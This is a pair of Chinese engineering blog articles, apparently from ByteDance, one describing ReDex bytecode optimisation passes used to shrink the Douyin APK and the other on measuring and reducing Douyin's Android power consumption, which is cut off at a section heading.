  1. 读写及解析 DEX 的能力,同时可以在一定程度上读取并解析 xml 和 so 文件

  2. 解析简单的 proguard keep 规则并匹配类/方法/成员变量的能力

  3. 对字节码进行数据流分析的能力,提供了常用的数据流分析算法

  4. 对字节码进行合法性校验的能力,包括寄存器检查、类型检查等

  5. 一系列的字节码优化项,每项优化称为一个 pass,多个 pass 组成 pipeline 对 DEX 进行优化


我们基于这些能力进行了定制和扩展,并期望最终建立完善的优化体系。

优化项

在抖音落地的优化项,包括 facebook 开源的优化和我们自研的优化,从其出发点来看,可以大致分为下面几种:

  • 通用字节码优化:通常意义下的编译优化,如常量传播、内联等,一般也可在 Transformer 阶段实现

  • DEX 格式优化:DEX 中除了字节码指令外,还包括字符串池、类/方法引用、debug 信息等等,针对这些方面的优化归类为 DEX 格式优化

  • 针对编程语言的优化:Java/Kotlin 的一些语法糖会生成大量字节码,可以对这些字节码进行针对性的分析和优化

  • 提升压缩率的优化:将 DEX 打包成 APK 实质上是个压缩的过程,对 DEX 内容进行针对性的优化可以提升压缩率,从而产生体积更小的 APK

这几种优化没有明确的标准和界线,有时一个 Pass 会涉及到多种,下面详细介绍一下各项优化。

通用字节码优化

ConstantPropagationPass

该 Pass 实际上包含了常量折叠和常量传播。

常量折叠是在编译期简化常量的过程,比如

复制

y = 7 - 14 / 2
--->
y = 0

常量传播是在编译期替代指令中已知常量的过程,比如

int x = 14;
int y = 7 - x / 2;
return y * (28 / x + 2);
--->
int x = 14;
int y = 7 - 14 / 2;
return (7 - 14 / 2) * (28 / 14 + 2);

上面的例子经过 常量折叠 + 常量传播优化后就会简化为

int x = 14;
int y = 0;
return 0;

再经过死代码删除就可以最终变为return 0。

具体的优化过程是:

  1. 对方法进行数据流分析,主要针对 const/move 等指令,得出一个寄存器在某个位置可能的取值

  2. 根据分析的结果,进行指令替换或指令删除,包括:

  • 如果值肯定是非空的,可以将对应的判空去掉,比如 kotlin 生成的 null check 调用

  • 如果值肯定为空,可以将指令替换为抛空异常

  • 如果值肯定让某 if 分支走不到,可以删除对应的分支

  • 如果值是固定的,可以用 const 指令替换对应的赋值或计算指令

一个方法经过 ConstantPropagationPass 优化后,可能会产生一些死代码,比如例子中的int y = 0,这也为后续的死代码删除创造了条件。

AnnoKillPass

该 Pass 是用来移除无用注解的。注解主要分为三种类型:

  • SOURCE:java 源码编译为 class 字节码就不可见,此类注解一般不用过于关注

  • CLASS:字节码通过 dx 工具转成 DEX 就不可见,代码运行时不需要获取信息,所以一般来说也不需要关注,实测发现部分注解仍然存在于 DEX 中,这部分注解可以进行优化

  • RUNTIME:DEX 中仍然可见,代码运行中可以通过 getAnnotations 等接口获取注解信息,但是随着业务的迭代,可能获取注解信息的代码已经去掉,注解却没有下掉,这部分注解会被 ReDex 安全的移除

除此之外,实际上为了支持某些系统特性,编译器会自动生成系统注解,虽然注解本身是 RUNTIME 类型,但是可见性是VISIBILITY_SYSTEM

  • AnnotationDefault : 默认注解,不能删除

  • EnclosingClass : 当前内部类申明时所在的类

  • EnclosingMethod : 当前内部类申明时所在的方法

  • InnerClass : 当前内部类名称

  • MemberClasses : 当前类的所有内部类列表

  • MethodParameters : 方法参数

  • Signature : 泛型相关

  • Throws : 异常相关

举例说明


编译器生成 1MainApplication$1这个匿名内部类,带有 EnclosingMethod 和 InnerClass 注解


系统提供以下接口获取类相关的信息,就是通过分析相关的系统注解来实现的

  • Class.getEnclosingMethod

  • Class.getSimpleName

  • Class.isAnonymousClass

  • ....

如果代码中不存在使用这些接口获取类信息的逻辑,就可以安全的移除这部分注解,从而达到缩减包大小的目的。

RenameClassesPass

该 Pass 通过缩减类名的字符串长度来减小包体积

比如把类名从La/b/c/d/e;改为LX/a;,可以类名字符串的长度,从而达到包大小缩减的目的。实际上 Proguard 本身已经提供类似的功能: -repackageclasses 'X',效果如下:


但是-repackageclasses 'X'的处理会影响 ReDex 的 InterDexPass 的算法逻辑(InterDexPass 可以参考下文),导致收益缩减

  • 收益测试

  • Proguard-repackageclasses 'X' 收益: 600K+

  • RedexInterDexPass 收益: 400K+

  • 同时应用 Proguard-repackageclasses 'X' 和 RedexInterDexPass 收益: 40K+

本质原因在于 Proguard 重命名后,影响了 InterDexPass 函数引用权重分配,导致 InterDex 收益被回收

  • 解决方案

  • InterDexPass 深入分析原理,优化权重算法

  • 先执行 InterDexPass,后执行类似 Proguard 的-repackageclasses 'X'

权重算法优化相对来说比较复杂,同时存在众多不可确定性,比如潜在的跟其他优化的冲突,所以我们采取了第二种解决方案。

这里需要解决的一个关键点在于如何确定一个类名是否可以被安全的重命名,我们采取了一个比较取巧的方式,ReDex 会分析 Proguard 传递上来 mapping.txt 文件,只要我们保持跟 Proguard 类重命名优化一样的处理策略,就不会引发反射/native 调用/序列化等一系列问题。


但是执行起来还是碰到各种千奇百怪的问题,比如 Signature 系统注解失效问题。Signature 注解的内容是非标准的类名格式,所以类重命名后简单回写字符串或者更新 Type 类型会导致 Signature 注解失效,最后通过深入解析 Signature 格式规避了这个问题。

StringBuilderOutlinerPass

该 Pass 是针对 StringBuilder 的 CallSites 进行分析缩略的优化,与死代码删除搭配使用可以有不错的优化效果。

为何要优化 StringBuilder 呢?在 Java 的代码开发过程中,字符串操作几乎是我们最经常做的一件事情,无论是实际处理字符串拼接还是各种不同数据类型之间的拼接操作。而这些拼接操作都会被 Java 的 de-sugar 优化为 StringBuilder 操作。比如:var log = "A" + 1 + "B" + 1.0f + other_var; 会被优化为:

StringBuilder builder = new StringBuilder();
builder.append("A"); builder.append(1);
builder.append("B"); builder.append(1.0f);
builder.append(other_var);
builder.toString();

因此我们对 StringBuilder 的所有 Callsites 进行分析,在最好情况下多个方法调用可以被优化为一个调用,这个方法是一个 outline (外联)方法,具体的参数拼接和 toString 被隐藏在函数内部:

invoke-static {v1, v2, v3} Outline;.bind:([Ljava/lang/Object)Ljava/lang/String;

优化步骤可以被简单的分为如下几个步骤:

  1. 生成一个泛型的外联方法、以及数个特定参数的方法:我们可以认为生成的方法大概是这样的

@Keep
public static String bind(Object... args) {
  StringBuilder builder = new StringBuilder();
  for (int i = 0; i < args.length ; i++) {
      builder.append(args[i]);
  }
  return builder.toString();
}
  1. 收集StringBuilder 的 CallSites :通过抽象解释和不动点分析,分析所有的 StringBuilder 操作,对 append、new-instance、和 init 方法分类。判断每次 append 的参数是不是 immutable 操作,如果增加的 insn 少于减少的 insn 即会减少代码,就对这里进行处理。

  2. 生成外联方法调用:由于我们使用了泛型方法来接受参数,因此我们要对基础类型生成 ValueOf 的转换操作、并且删除append 方法前为了防止被错误优化我们还需要插入 move 指令来 copy 原有参数(这些 move 指令会被后续优化正确删除)、如果参数个数还在我们生成的特定 outline 方法范围内我们就可以使用特定方法来生成外联函数,其余的将使用泛化的外联来接受。

DEX 格式优化

InterDexPass

该 Pass 是针对跨 DEX 引用的优化。

跨 DEX 引用是指当一个 DEX 需要“使用”到另一个 DEX 中的类/方法/变量时,需要在本 DEX 中保存一份对应的类/方法/变量的 id,如果 2 个 DEX 用到了相同的字符串,那么这个字符串在 2 个 DEX 都需要进行定义。所以,改变类/方法/变量和字符串在 DEX 中的分布,可以减小引用的数量,从而减小 DEX 的体积。从原理中也可以看出,该优化对单 DEX 的应用是无效的。


从上图可以看到,进行类重排后,DEX0 的类引用和方法引用数量都减少了,DEX 的体积也会因此减小。

具体的优化过程是:

  1. 收集每个类涉及的所有引用,按照引用数量和类型计算出类的权重

  2. 根据权重计算出每个类的优先级

  3. 根据优先级选取一个类放入 DEX 中,然后调整剩余类的优先级,重复此步骤直到所有类都被处理

ReBindRefsPass

该 Pass 是针对方法引用的优化,其原理同 InterDexPass。

在字节码中,invoke-virtual/interface指令需要一个方法引用,在很多情况下,这个引用指向的是子类或者实现类的引用,把这个引用替换成父类和接口的方法引用不会影响运行时逻辑,同时会减少 DEX 中方法引用的数量。在生成 DEX 的时候,方法引用的 65536 限制通常是最先遇到的瓶颈,该优化也可以缓解这种情况。


如上图所示,优化前 caller 方法的 invoke 指令使用的是子类引用,其伪指令如下所示,需要用到 2 个引用

new-instance v0, Sub1
invoke-virtual v0, Sub1.a()
new-instance v1, Sub2
invoke-virtual v1, Sub2.a()

优化后,invoke 指令都指向其父类应用,2 个引用可以合并为 1 个,减少了 DEX 中的引用数量

new-instance v0, Sub1
invoke-virtual v0, Base.a()
new-instance v1, Sub2
invoke-virtual v1, Base.a()

针对编程语言的优化

KotlinDataClassPass

该 Pass 是对 Kotlin data class 的优化,基本思路是对 data class 的生成代码进行精简。

解构声明优化

Kotlin 中存在解构声明这种语法,可以更方便的创建多个变量,基本用法如下

data class Person(val name: String,val age: Int)
val (name,age) = person("John",20)

kotlinc 会为Person类生成 get 方法和 componentN 方法,如下是伪代码表示

Person {
    String name;
    Int age;

    getName(): String { return name; }
  getAge(): Int { return age; }
    component1(): String { return name; }
    component2(): Int { return age; }
}

// 解构声明编译为
val name = person.component12 1()
val age = person.component2()

可以看到,get 和 component 的逻辑是一样的,所以在编译期,可以进行全局的匹配,用 get 替换掉 component,然后再删除 component。

toString 等生成方法优化

kotlin compiler 为 data class 生成的 toString 具有相似的代码结构,因此可以生成一个辅助方法,然后在所有 data class 的 toString 方法中调用这个辅助方法,即外联,从而减少指令数量。

equals 和 hashCode 也可以进行类似优化,但是风险相对较高,因此单独为这些优化配置了开关,业务方可以视情况开启。

提升压缩率的优化

RegAllocPass

DEX 及其他文件经过压缩打成 APK,如果能通过改变 DEX 的内容来提升压缩率,那么也会减小最终的包体积。RegAllocPass 就是通过重新分配寄存器来提升压缩率的。

dx 生成 DEX 时使用的是线性寄存器分配算法,其基本步骤是进行存活变量分析,然后计算出每个变量的活跃区间,再根据活跃区间依次为变量分配寄存器,超出活跃区间的寄存器可以进行再分配,其优点是运行速度快,但结果往往不是最优的。

比如下面的代码,dx 分配了 6 个寄存器,v0 ~ v5

public static double calculateLuminance(@ColorInt int color) {
  final double[] result = getTempDouble3Array();
    colorToXYZ(color,result);
  return result[1] / 100;
}


相对的,ReDex 使用了图着色算法进行寄存器分配,基本步骤是进行存活变量分析,并构建冲突图,冲突图的每个节点是一个变量,如果 2 个变量可以同时存活,就在两个节点之间建立边,最后为冲突图着色,每个颜色代表一个寄存器,着色完成即寄存器分配完成。着色法相对更慢,结果一般更优。对上面同样的代码,着色法使用了 4 个寄存器,v0 ~ v3。


DEX 中的方法使用的寄存器越少,其内容重复率就越高,压缩率也会更大,从而减小了包体积。

抖音落地

抖音是字节跳动规模最大、运行环境复杂度最高的应用之一。在 ReDex 落地初期,由于对复杂度估计不足,在独立灰度和全量灰度期间引起了一些问题,在解决问题的过程中,我们也逐步形成了一套迭代流程以保证优化的稳定性。下面介绍一下我们遇到过的典型问题及当前的迭代流程。

遇到的问题

兼容性问题

一般来说,只要按照字节码规范进行优化,就不会有兼容性问题,因为 dalvik/art 也是按照规范去校验和运行字节码的,即使进行了错误的优化,引起的问题也应该是共性问题。但很多事都有例外,ReDex 就在某品牌手机的部分 Android 5.x 的机型上遇到了问题。

从 log 和一些 hook 来看,某品牌手机对 5.x 的 art 做了大量的魔改,可以推断其魔改存在一些问题,导致对正确的字节码的校验和运行也可能出现问题。一个可能的原因是:在 ReDex 进行优化时,会对一些方法体的指令顺序进行重排,这种重排是不影响方法的逻辑的,但是可能会改变一部分指令,魔改后的 art 在校验这样的方法时可能会报 verify error,引起 crash。

最终通过黑名单配置跳过了这些方法的优化规避了问题,在后续的优化过程中,没有再遇到类似的问题。

复杂场景优化问题

抖音业务复杂,代码写法多样,给静态分析和优化增加了一些难度,也更容易遇到问题。下面是 2 个典型问题:

1.空方法优化问题 代码中可能存在一些空方法,排除掉反射和 natvie 调用等场景后,剩下的空方法应该是可以删除的。但是在做优化时,却遇到了 crash,如以下代码

object XXXSDKHelper {
  init {
      initXXXSDK()
    }
    fun fakeInit() {
    }
}

// 初始化任务
public class XXInitTask implements Runnable {
    @Override
  public void run() {
        XXXSDKHelper.INSTANCE.fakeInit();
    }
}

在初始化代码中调用fakeInit,它是一个空方法,调用它的目的是触发XXSDKHelper类加载从而执行init语句块,如果删除了这个空方法,就会导致初始化未执行,在后续的流程中抛空指针。

2.复杂反射问题

对于 Class.forname(...)等简单的反射用法,静态分析是可以分析出来的,但是对一些经过字符串拼接或者嵌套之后的反射,静态分析很难分析到。因此,对可能会被反射的代码进行优化需要非常小心,通常来说,匿名内部类是不会通过反射调用的,基于此前提,我们进行了匿名内部类的重命名优化,但是在灰度后,发现某些第三方 SDK 会通过复杂的运行时逻辑对匿名内部类进行了反射调用,最终导致了 ClassNotFoundError。

复杂场景的优化问题有些是业务代码不规范造成的,但更多的是优化前提(空方法可以删除/匿名内部类不会被反射)不成立所导致,所以在进行优化时首先需要对假设进行谨慎的验证。

迭代流程

为了减少稳定性问题,我们总结了 ReDex Pass 的迭代流程。

在对一项 Pass 有了初步构思后,组内会进行可行性讨论,如果理论上可行就进入开发和验证阶段,之后同步进行至少 2 轮的独立灰度验证和业务方 Pass 评审,最后进行全量灰度验证。其中任意一个环节发现问题,都会重新进行整个流程。


通过这个流程,我们大大减少了稳定性问题遗留到灰度阶段的可能,在不断完善迭代流程的同时我们也在探索通过加强单元测试、自动化测试等方式来提升质量。

后续规划

ReDex 仍然在持续迭代中,未来我们会在以下几个方向继续进行深入探索:

  1. 更多包体积优化的探索和迭代,同时探索字节码优化在性能提升方面的可能性

  2. 提升字节码质量

  • 更加严格的合法性校验;ReDex 之前已经检测出若干自定义插件和 proguard 的问题,将问题拦截在了编译期,后续会继续提升该能力

  • 建立更加完善的质量验证体系;ReDex 作为编译期的全局字节码优化方案,如果保证优化后的字节码质量一直是个痛点,我们会继续在单元测试、自动化测试等方向探索质量提升的手段

  1. 增加编译期监控,更加快速便捷的解决编译期字节码问题,提升接入体验

  2. 其他应用方向探索;如方法插桩、某些条件下的死代码扫描等。

作者 | 冯瑞;廖斌斌;刘丰恺

来源:https://www.51cto.com/article/710484.html

收起阅读 »

抖音功耗优化实践

功耗优化是应用体验优化的一个重要课题,高功耗会引发用户的电量焦虑,也会导致糟糕的发热体验,从而降低了用户的使用意愿。而功耗又是涉及整机的长时间多场景的综合性复杂指标,影响因素很多。不论是功耗的量化拆解,还是异常问题的监控,以及主动的功耗优化对于开发人员来说都是...
继续阅读 »

功耗优化是应用体验优化的一个重要课题,高功耗会引发用户的电量焦虑,也会导致糟糕的发热体验,从而降低了用户的使用意愿。而功耗又是涉及整机的长时间多场景的综合性复杂指标,影响因素很多。不论是功耗的量化拆解,还是异常问题的监控,以及主动的功耗优化对于开发人员来说都是很有挑战性的。

本文结合抖音的功耗优化实践中产出了一些实验结论,优化思路,从功耗的基础知识,功耗组成,功耗分析,功耗优化等几个方面,对 Android 应用的功耗优化做一个总结沉淀。

功耗基础知识介绍

首先我们回顾一下功耗的概念,这里比较容易和能耗搞混。解释一下为什么手机上用mA(电流值)来表征功耗水平,用 mAh(物理意义上是电荷值)来表征能耗水平。我们先来看几个物理公式。

P = I × U, E = P × T

能耗(E):即能量损耗,指计算机系统一段时间内总的能量消耗,单位是焦耳(J)

功耗(P):即功率损耗,指单位时间内的能量消耗,反映消耗能量的速率,单位是瓦特(W)

电流(I):指手机电池放电的电流值,手机常用 mA 为单位

电压(U):指手机电池放电的电压值,标准放电电压 3.7V,充电截止电压 4.35V,放电截止电压 2.75V(以典型值举例,不同设备的电池电压数值有差异)

电池容量 :常用单位 mAh,从单位意义上看是电荷数,实际表征的是电池以典型电压放电的时长。
如下面的功耗测试图所示,手机通常以恒定的典型电压工作,为了计算方便,就把电压恒定为 3.7V,那么 P = I × 3.7, E = I × 3.7 × T,即用 mA 表征功耗,mAh 表征能耗。

总结:对同一机型,我们用电池容量(mAh)变化的来表征一段时间总能耗,用平均电流(mA)来表征功耗水平;如 4000mAh 电池的手机刷抖音 1 小时耗电 11%,耗电量(能耗)440mAh,平均电流 440mA

56b1d8fa1453546f4ae73c83cc8b43e3.png图 1. 功耗测试图

为什么要做功耗优化

从摘要里我们已经了解到高功耗会引发用户的电量焦虑,也会导致糟糕的发热体验,从而降低了用户的使用意愿。优化功耗除了可以我们带来更好的用户体验,提升用户使用时长外,降低应用耗电还具有很明显的社会价值,用一个当前比较火的词,就是可以为碳中和事业贡献一份力量。

如何来做功耗优化

不同于 Crash、ANR 等常见的 APM 指标,功耗是一个综合性的课题,分析起来很容易让人无从下手。用户反馈了耗电问题,可能是 CPU 出现高负载,又或者是后台频繁的网络访问,也可能是动画泄漏导致高功耗。或者我们自己的业务没什么变化,单纯就是环境因素影响,导致用户觉得耗电,比如低温导致的锂电池放电衰减。

我们的思路是从器件出发,应用的耗电最终都可以分解为手机器件的耗电,所以我们先对抖音做器件耗电的拆解,看主要耗电的是哪些器件,再看如何减少器件的使用,这样就做到有的放矢。

下面我们先从功耗组成,功耗分析,以及功耗优化等方面来讲述如何开展功耗优化。

功耗组成

74009e91e4e5746fc8ad1aa005259636.png

这里列举了手机硬件的基本形态,每个模块又是由复杂的器件构成。如我们常说的耗电大头 SoC 里就包含 CPU 的超大核,大核,小核,GPU,DDRC(内存接口),以及外设区的各种小 IP 核等。所以整机的功耗最终就可以拆解为各个器件的功耗,而应用的功耗就是计算其使用的器件产生的功耗。

以抖音的 Feed 流场景为例,亮度固定 120nit、7 格音量、WiFi 网络下,我们对抖音做了器件级的功耗拆解。可以看到抖音的 feed 功耗主要集中在 SOC(CPU,GPU,DDR),Display,Audio,WIFI 等四个模块。

3b4e51733501d0a2ed954100adecc27b.png

器件功耗计算

那这些器件功耗是如何被拆解出来的呢?原理是:先对器件进行耗电因子拆解,建立器件功耗模型,得到一个器件耗电的计算公式。通过运行时统计器件的使用数据,代入功耗模型,就可以计算出器件的功耗。应用的功耗则是从器件的总功耗里按应用使用的比较进行分配,这样就得到了应用的器件耗电。由于影响器件功耗的耗电因子众多,这里复杂的就是如何对耗电因子进行拆解以及建模。有了精准的建模,后面就是厂商适配校准参数的过程了。

谷歌提供了一套通用的器件耗电模型和配置方案,OEM 厂商可以按通用方案对自己的产品进行参数校准和配置。如下图里 AOSP 里的耗电配置里,以 Wifi 的耗电计算为例。https://source.android.com/devices/tech/power/values

8e4128e236778f64ff6f8b04c5841d32.png 856eea8e637b57bd63189a5c0fb54d6e.png

谷歌提供的建模方案是对 WIFI 分状态计算耗电,WIFI 不同状态下的耗电差异非常明显。这里分为了 wifi.on(对应 wifi 打开的基准电流), wifi.active(对应 wifi 传输数据时的基准电流), wifi.scan(对应 wifi 单次扫描的基准耗电), wifi 数据传输的耗电(controller.rx,controller.tx, controller.idle)。根据 wifi 收发数据的那计算 wifi 的耗电,通过统计这几个状态的时长或次数,乘以对应的电流,就得到 wifi 器件的耗电了。

由于谷歌是按照通用性来设计的器件耗电模型,通常只能大致计算出器件的耗电水平,具体到某个产品上可能误差很大。各 OEM 厂商通常有基于自身硬件的耗电统计方案,可以对耗电做更加精细准确的计算。这里还用 wifi 举例:如 OEM 厂商可以分别按照 2.4G,5GWIFI 单独建模,并引入天线信号的变化对应的基准电流变化,以及统计 wifi 芯片所工作的频点时长,按频点细化模型等等,OEM 厂商可以设计出更符合自己设备的精准功耗模型,计算出更精准的 wifi 耗电。这就要根据具体产品的硬件方案来确定了。

功耗分析

通过上面的功耗组成的介绍,我们可以看到功耗影响因素是多种多样。在做应用功耗分析时,我们既要有方法准确评估应用的耗电水平,又要有方法来分解出耗电的组成,以找到优化点。下面就分为功耗评估和功耗归因分析这两部分来介绍。

功耗评估

如前文功耗基础知识里所说,我们使用电流值来评估应用的功耗水平。在线下场景,我们通过控制测试条件(如固定测试机型版本,清理后台,固定亮度,音量,稳定的网络信号条件等)来测得可信的准确电流值来评估应用的前后台功耗。在线上场景,由于应用退后台时,用户使用场景的复杂性(指用户运行的前台应用不同),我们只采集前台整机电流来做线上版本监控,使用其他指标,如后台 CPU 使用率来监控后台功耗。下面我们介绍一些常用功耗评估的手段。

PowerMonitor

目前业界最通用的整机耗电评估方式是通过 PowerMonitor 外接电量计的方式,高频率高精度采集电流进行评估。常用需要精细化确认耗电情况,尤其是后台静置,灭屏等状态下的电流输出,厂商的准入测试等。常用的 Mosoon 公司的 PowerMonitorAAA10F,电流量程在 1uA ~ 6A 之间,电流精度 50uA,采样周期 200us (5KHZ)。

1f8375ab851431fd1c69e252748f8923.png

电池电量计

PowerMonitor 虽然测量结果最准确。但是需要拆机比较麻烦。我们还可以通过谷歌 BatteryManager 提供的接口直接读取电池电量计的统计结果来获得电流值。

电池电量计负责估计电池容量。其基本功能为监测电压,充电/放电电流和电池温度,并估计电池荷电状态(SOC)及电池的完全充电容量(FCC)。有两种典型的电量计:电压型电量计和电流型电量计,目前手机上使用的电量计主要是电流型电量计。

  • 电压型电量计:简单讲就是检测当前电压,然后查询电压-电池容量对应表,获得电量估算

  • 电流型电量计:也叫库仑计,原理是在电池的充电/放电路径上的连接一个检测电阻。ADC 量测在检测电阻上的电压,转换成电池正在充电或放电的电流值。实时计数器(RTC)则提供把该电流值对时间作积分,从而得知流过多少库伦。

a69d07da70d94ebb4e9a321d61d3addf.png

Android 提供了 BMS 的接口,通过属性提供了电池电量计的统计结果

  • BATTERY_PROPERTY_CHARGE_COUNTER 剩余电池容量,单位为微安时

  • BATTERY_PROPERTY_CURRENT_NOW 瞬时电池电流,单位为微安

  • BATTERY_PROPERTY_CURRENT_AVERAGE 平均电池电流,单位为微安

  • BATTERY_PROPERTY_CAPACITY 剩余电池容量,显示为整数百分比

  • BATTERY_PROPERTY_ENERGY_COUNTER 剩余能量,单位为纳瓦时

import android.os.BatteryManager;
import android.content.Context;
BatteryManager mBatteryManager = (BatteryManager)Context.getSystemService(Context.BATTERY_SERVICE);
Long energy = mBatteryManager.getLongProperty(BatteryManager.BATTERY_PROPERTY_ENERGY_COUNTER);
Slog.i(TAG, "Remaining energy = " + energy + "nWh");

以下面的 Nexus9 为例,该机型使用了 MAX17050 电流型电量计,解析度 156.25uA,更新周期 175.8ms。

069b692c3798cce7926c8d1f663c878c.png

从实践结果上看,由于不同的手机使用的电量计不同,导致直接读取出来的电流值单位也不同,需要做数据转化。为了简化电池数据的获取,我们开发了 Thor SDK,只保留电流、电压、电量等指标的采集过程,针对不同机型做了数据归一处理,用户可以不用关心内部实现,只需要提供需要采样的数据类型、采样周期就可以定时返回所需要的功耗相关的数据,我们用 Thor 对比 PowerMonitor 进行了数据一致性的校验,误差<5mA,满足线上监控需求。

此外我们做了 Thor 采集功能本身的功耗影响,可以看到 1s 采集 1 次的情况下,平均电流上涨了 0.59mA,所以说这种方案的功耗影响非常低,适合线上采集电流值。

ae60a2f641bd750eae5f2bcc67bbc61d.png

厂商自带耗电排行

耗电排行

厂商提供的耗电排行也可以用来查看一段时间内的应用耗电情况。如下面华为的耗电排行里,对硬件和软件耗电进行了分拆,并给出了应用的具体耗电量。其他厂商 OV 也是支持具体的耗电量,小米则是提供耗电占比,并不会提供具体耗电量。

入口:设置->电池->耗电排行

0ff8e33b865fb9b7f3200f033d5387d7.png

功耗归因

从功耗评估我们可以判断应用的整体耗电情况,但具体到某个 case 高耗电的原因是什么,就要具体问题选择不同的工具来进行分析了。目前可以直接归因到业务代码的主要是 CPU 相关的工具,这也是我们目前分析问题的主要方向,后续我们也会建设流量归因等能力,下面我列举了常用的分析工具。

Battery Historian

谷歌官方提供的分析工具,需要先进行功耗测试,再通过 adb 抓取 bugreport.zip,再通过网页工具打开,可提供粗粒度的功耗归因。

本质上是对 systemserver 里的各种服务统计信息+手机状态+内核统计信息(kernel 唤醒)的展示,应用耗电的估算依赖厂商配置的 power_profile.xml。比较适合对整机耗电问题做耗电归因,如归因到某应用耗电较高。

对于单个应用,由于对 wakelock,alarm,gps,job,syncservice,后台服务运行时长等统计的比较详细,比较适合做后台耗电的归因。对于网络异常,CPU 异常,只能看到消耗较多,无法归因到具体业务。https://developer.android.com/topic/performance/power/setup-battery-historian?hl=zh-cn

e772a23905e645b55f9cc135090adf41.png fa8dc50ef240559b5528ddaade6bfc11.png

AS Profiler

相比于 BatteryHistorian 需要先手动测试,再 adb 抓取的操作繁琐,AS 自带的 Profiler 提供了 Energy 的可视化展示。使用 debug 版本的应用,可以直观的看到功耗的消耗情况,方便了线下测试。需要注意的是这里展示的功耗值是通过 GPS+网络+CPU 计算的拟合值,并不是真实功耗值,只表征功耗水平。

cd98bf76f3b1f933e32c7aff372deea2.png

Profiler 同步展示了 CPU 使用率,网络耗电,内存信息。支持 CPU 和线程级别的跟踪。通过主动录制 Trace,可以分析各线程的 CPU 使用情况,以及耗时函数。对于容易复现的 CPU 高负载问题或者固定场景的耗时问题,这种方式可以很容易看到根因。但 trace 的展示方式并不适合偶现的 CPU 高负载,信息量特别多反而让人难以抓住重点。

网络耗电可以很方便抓取到上行下行的网络请求,可以展示网络请求的 api 细节,并且划分到线程上。对于频繁的网络访问,很容易找到问题点。但目前只支持通过 HttpURLConnection 和 OkHttp 的网络请求,使用其他的网络库,Profiler 追踪不到。

可以看到官方出品的工具,功能比较完善,但只支持 debug 版本的 app 分析,如果要分析 release 版本的 app,需要使用 root 手机。总体而言,Profiler 比较适合于线下固定某个业务场景的分析。https://developer.android.com/studio/profile/energy-profiler

线程池监控

使用上面的工具监控单个线程的 CPU 异常是可以的。但是对于线程池,Handler,AsyncTask 等异步任务不太容易归因具体的业务,尤其是网络库的线程池,由于执行的网络请求逻辑是一样的,只靠抓线程堆栈是不能归因到具体业务的。需要统计提交任务的源头代码才能抓到真正问题点。

我们可以通过多种机制,如改造线程池,java hook 等,对提交任务方进行了详细记录和聚合,可以帮忙我们分析线程池里的耗时任务。

线上 CPU 异常精准监控

除了线下的 CPU 分析,我们在进行线上 CPU 异常监控的建设时,我们考虑到单纯使用 CPU 使用率阈值不能精准的判断进程是否处于 CPU 异常。比如不同的 CPU 型号本身的性能不同,在某些低端 CPU 上的使用率就是比较高。又比如系统有不同的温控策略,省电策略,会对手机进行限频,对任务进行 CPU 核心迁移。在这种情况下,应用也会有更高的 CPU 使用率。

因此我们基于不同的变量因素(如 CPU 型号,进程/线程的 CPU 时长在不同核,不同频点的分布,充电,电量,内存,网络状态等),将 CPU 的使用阈值进行精细判定,针对不同场景、不同设备、不同业务制定精细化的 CPU 异常阈值,从而实现了高精度的 CPU 异常抓取。

此外还有业界的一些归因框架,在这里不展开介绍了。

  • Facebook BatteryMetrics:从 CPU/IO/Location 等多种归因点采集数据,和系统 BatteryStatsService 的统计行为类似,偏重于线下做 App 的耗电评估和器件分解。

  • WeChat BatteryCanary:提供了线程和线程池归因能力,相对于其他工具,增加前后台,亮灭屏,充放电,前台服务统计的统计。

功耗优化实践

上面介绍了功耗的组成,以及如何分析我们应用的耗电。这里我们对功耗优化做一个整体性介绍。我们把优化思路从器件角度展开,列举我们有哪些优化的思路和措施,可以减少器件的使用情况,进而降低功耗。此外对于一些用户可感知的有损业务的降级,我们通过低功耗模式来做,在低电量时通过更激进的降级手段,缓解用户的电量焦虑,带来用户的使用时长的提升。

下图列举了各器件上的优化思路,有一些优化思路会对多个器件都有收益,在这里没有特别详细的区分,就划分在主要影响的器件上,如减少刷新区域,对 GPU,CPU,DDR 都有收益,主要收益在 GPU 绘制上,在下图里就列举在 GPU 上了。

同时我们列举了厂商侧的一些优化方案,应用通常无需关注,比如降低屏幕刷新率,TP 扫描频率,整机低分辨率等,这种可以通过厂商合作的方式进行更细致的调优,如分场景动态调整屏幕刷新率,在搜索列表场景使用 90HZ 高刷,在短视频场景结合帧率对齐进行刷新率降低为 30HZ,以获得更平衡的功耗和性能体验。

1f476942cd6a859054b7cc944a4ad779.png

DISPLAY

显示功耗的优化主要围绕对屏幕,GPU,CPU,视频解码器,TP 等器件降级使用或者减少处理,尽量使用硬件处理等实现的。对于屏幕而言主要是降低亮度,刷新率,TP 扫描频率等。

屏幕亮度

屏幕亮度是屏幕功耗的最大来源,亮度和功耗几乎是正比的关系,参见下图:

4d4792fb9e17466daaee373eb5b4938c.png

可以看出无论是 IPS 屏幕还是 OLED 屏幕,随着屏幕亮度增加,功耗几乎是线性增加。针对 OLED 屏幕则是白色内容的功耗更高,深色内容则功耗相对更低。应用通用的降低亮度的方式有进入应用后主动降低亮度,或者使用深色的 UI 模式,来达到屏幕亮度降低的效果。厂商会通过 FOSS 或者 CABC 的方案,降低屏幕亮度。

深色模式

利用 AMOLED 屏幕本身的原理,黑色功耗最低,所以可以尽量采用较暗的主题颜色等,最终获取较低的功耗,可以保持用户使用时间更长。

为什么说 AMOLED 屏幕显示黑色界面会消耗更少的电量呢?这要从它与传统的 LCD 屏幕之间的发光原理区别上来说。

LCD 背光显示屏,主要是靠背光层,发光层由大量 LED 灯泡组成,显示白光,通过液晶层偏振控制,显示出 RGB 颜色。在这种情况下,黑色与其它颜色的像素并没有什么不同,虽然看起来并没有光亮,但是依然还是处于发光的状态。

AMOLED 屏幕根本就没有背光一说。相反,每个小的亚像素只是发出微弱的 RGB 光,如果屏幕需要显示黑色,只需要通过调整电压使得液晶分子排列旋转从而遮蔽住背光就可以实现黑色的效果,不会额外点亮任何颜色。

b3011c5e298566b77efc43f7556ce872.png

下面引用测试应用为 Reddit Sync 的不同场景下彩色和黑色模式功耗对比。(参考链接:https://m.zol.com.cn/article/4895723.html#p4

1a00637ae0aec9b084dfdd327cce5028.png

从上面的图表我们可以很清楚的看到,在黑色背景的情况下,AMOLED 屏幕在能耗上的确要比普通颜色背景少了很多,在 Reddit Sync 的测试中,平均耗电量要降低 40%左右。

应用可以设计自己的深色模式主题,同步手机系统深色模式开关的切换。目前抖音背景设置有两种模式如下图,可以看到经典模式就是深色模式,正好对应于深色主题,这个也可以和手机平台的深色模式也结合起来。

bfdfb7a3ebc128fcf1349ecbd609594f.png

FOSS

